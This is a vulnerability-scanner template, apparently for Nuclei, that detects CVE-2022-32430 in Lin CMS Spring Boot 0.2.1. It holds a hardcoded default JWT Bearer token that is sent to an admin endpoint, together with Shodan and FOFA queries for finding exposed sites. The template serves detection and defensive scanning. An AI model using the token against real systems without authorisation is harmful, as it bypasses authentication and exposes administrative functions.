Lin CMS Spring Boot - Default JWT Token

id: CVE-2022-32430

info:
  name: Lin CMS Spring Boot - Default JWT Token
  author: DhiyaneshDK
  severity: high
  description: |
    An access control issue in Lin CMS Spring Boot v0.2.1 allows attackers to access the backend information and functions within the application.
  impact: |
    Unauthenticated attackers can access backend administrative information and functions using a hardcoded default JWT token, potentially gaining complete control over the Lin CMS Spring Boot application including user management and content administration.
  remediation: |
    Update Lin CMS Spring Boot to a version later than 0.2.1 that uses unique JWT secret keys, removes hardcoded tokens, and implements proper token rotation.
  reference:
    - https://github.com/TaleLin/lin-cms-spring-boot
    - https://web.archive.org/web/20220721190946/https://www.mesec.cn/archives/277
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32430
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-32430
    epss-score: 0.03634
    epss-percentile: 0.88161
    cpe: cpe:2.3:a:talelin:lin-cms-spring-boot:0.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: talelin
    product: lin-cms-spring-boot
    shodan-query: http.html:"心上无垢，林间有风"
    fofa-query: body="心上无垢，林间有风"
  tags: cve,cve2022,lin-cms,auth-bypass,talelin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cms/admin/group/all"
    headers:
      Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MSwic2NvcGUiOiJsaW4iLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzUzMTkzNDc5fQ.SesmAnYN5QaHqSqllCInH0kvsMya5vHA1qPHuwCZ8N8

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"name":'
          - '"level":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '<html'
          - '<body'
          - '<script'
        negative: true
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